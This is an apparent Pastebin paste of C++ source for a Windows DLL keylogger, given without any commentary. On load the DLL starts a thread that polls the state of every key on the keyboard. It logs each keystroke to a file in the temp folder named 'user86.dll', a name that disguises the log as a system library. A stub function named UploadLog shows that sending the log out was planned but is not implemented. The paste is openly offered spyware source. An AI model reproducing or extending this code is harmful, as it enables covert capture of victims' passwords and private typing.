captmicro

Untitled

Mar 1st, 2010
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.81 KB | None | 0 0
  1. //===========================================================================
  2. //MAIN.H
  3. //===========================================================================
  4. void *memset(void *s, int c, size_t n);
  5.  
  6. #include <windows.h>
  7. #include "../keys.h"
  8.  
  9. #define DEXPORT __declspec(dllexport)
  10. #define DCALL __stdcall
  11.  
  12. int DCALL DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserved);
  13. DWORD DCALL MainExecThread(void *pVoid);
  14. DWORD DCALL UploadLog(char *filename);
  15.  
  16.  
  17.  
  18. //===========================================================================
  19. //MAIN.CPP
  20. //===========================================================================
  21. #include "main.h"
  22.  
  23. HANDLE hExecThread;
  24. char buffer[128];
  25. HANDLE hFile;
  26. char *fname = "%TEMP%\user86.dll";
  27.  
  28. BOOL DCALL DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserved)
  29. {
  30.     switch (fwdReason)
  31.     {
  32.         case DLL_PROCESS_ATTACH:
  33.             memset(buffer, 0, sizeof(buffer));
  34.             hFile = CreateFile(fname, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  35.             hExecThread = CreateThread(0, 0, &MainExecThread, 0, 0, 0);
  36.             break;
  37.         case DLL_THREAD_ATTACH:
  38.             break;
  39.         case DLL_PROCESS_DETACH:
  40.             WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
  41.             CloseHandle(hFile);
  42.             break;
  43.         case DLL_THREAD_DETACH:
  44.             break;
  45.     }
  46.     return TRUE;
  47. }
  48.  
  49. DWORD DCALL MainExecThread(void *pVoid)
  50. {
  51.     //Standard 104-key keyboard
  52.     int keys[104] = {
  53.         VK_ESCAPE, VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12, VK_SNAPSHOT, VK_SCROLL, VK_PAUSE,
  54.         VK_OEM_3, KEY_1, KEY_2, KEY_3, KEY_4, KEY_5, KEY_6, KEY_7, KEY_8, KEY_9, KEY_0, VK_OEM_MINUS, VK_OEM_PLUS, VK_BACK, VK_INSERT, VK_HOME, VK_PRIOR, VK_NUMLOCK, VK_DIVIDE, VK_MULTIPLY, VK_SUBTRACT,
  55.         VK_TAB, KEY_Q, KEY_W, KEY_E, KEY_R, KEY_T, KEY_Y, KEY_U, KEY_I, KEY_O, KEY_P, VK_OEM_4, VK_OEM_6, VK_OEM_5, VK_DELETE, VK_END, VK_NEXT, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_ADD,
  56.         VK_CAPITAL, KEY_A, KEY_S, KEY_D, KEY_F, KEY_G, KEY_H, KEY_J, KEY_K, KEY_L, VK_OEM_1, VK_OEM_7, VK_RETURN, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, /*VK_ADD*/
  57.         VK_LSHIFT, KEY_Z, KEY_X, KEY_C, KEY_V, KEY_B, KEY_N, KEY_M, VK_OEM_COMMA, VK_OEM_PERIOD, VK_OEM_2, VK_RSHIFT, VK_UP, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_RETURN,
  58.         VK_LCONTROL, VK_LWIN, VK_LMENU, VK_SPACE, VK_RMENU, VK_RWIN, VK_APPS, VK_RCONTROL, VK_LEFT, VK_DOWN, VK_RIGHT, VK_NUMPAD0, VK_DECIMAL, /*VK_RETURN*/
  59.     };
  60.     int index = NULL; int key = NULL;
  61.     while (1)
  62.     {
  63.         for (index=0; index<104; index++)
  64.         {
  65.             key = GetAsyncKeyState(keys[index]);
  66.             if (key) {
  67.                 buffer[lstrlen(buffer)] = keys[index];
  68.                 if (buffer[127] != 0x00) {
  69.                     WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
  70.                     memset(buffer, 0, sizeof(buffer)); //Clear buffer
  71.                 }
  72.             }
  73.         }
  74.     }
  75.     return 0;
  76. }
  77.  
  78. DWORD DCALL UploadLog(char *filename)
  79. {
  80.     return 0;
  81. }
  82.  
  83. void *memset(void *s, int c, size_t n)
  84. {
  85.     unsigned char* p = (unsigned char *)s;
  86.     while(n--)
  87.         *p++ = (unsigned char)c;
  88.     return s;
  89. }
  90.  
  91.  
  92.  
  93. //===========================================================================
  94. //KEYS.H
  95. //===========================================================================
  96. #define KEY_0 0x30
  97. #define KEY_1 0x31
  98. #define KEY_2 0x32
  99. #define KEY_3 0x33
  100. #define KEY_4 0x34
  101. #define KEY_5 0x35
  102. #define KEY_6 0x36
  103. #define KEY_7 0x37
  104. #define KEY_8 0x38
  105. #define KEY_9 0x39
  106.  
  107. #define KEY_A 0x41
  108. #define KEY_B 0x42
  109. #define KEY_C 0x43
  110. #define KEY_D 0x44
  111. #define KEY_E 0x45
  112. #define KEY_F 0x46
  113. #define KEY_G 0x47
  114. #define KEY_H 0x48
  115. #define KEY_I 0x49
  116. #define KEY_J 0x4A
  117. #define KEY_K 0x4B
  118. #define KEY_L 0x4C
  119. #define KEY_M 0x4D
  120. #define KEY_N 0x4E
  121. #define KEY_O 0x4F
  122. #define KEY_P 0x50
  123. #define KEY_Q 0x51
  124. #define KEY_R 0x52
  125. #define KEY_S 0x53
  126. #define KEY_T 0x54
  127. #define KEY_U 0x55
  128. #define KEY_V 0x56
  129. #define KEY_W 0x57
  130. #define KEY_X 0x58
  131. #define KEY_Y 0x59
  132. #define KEY_Z 0x5A
Add Comment
Please, Sign In to add comment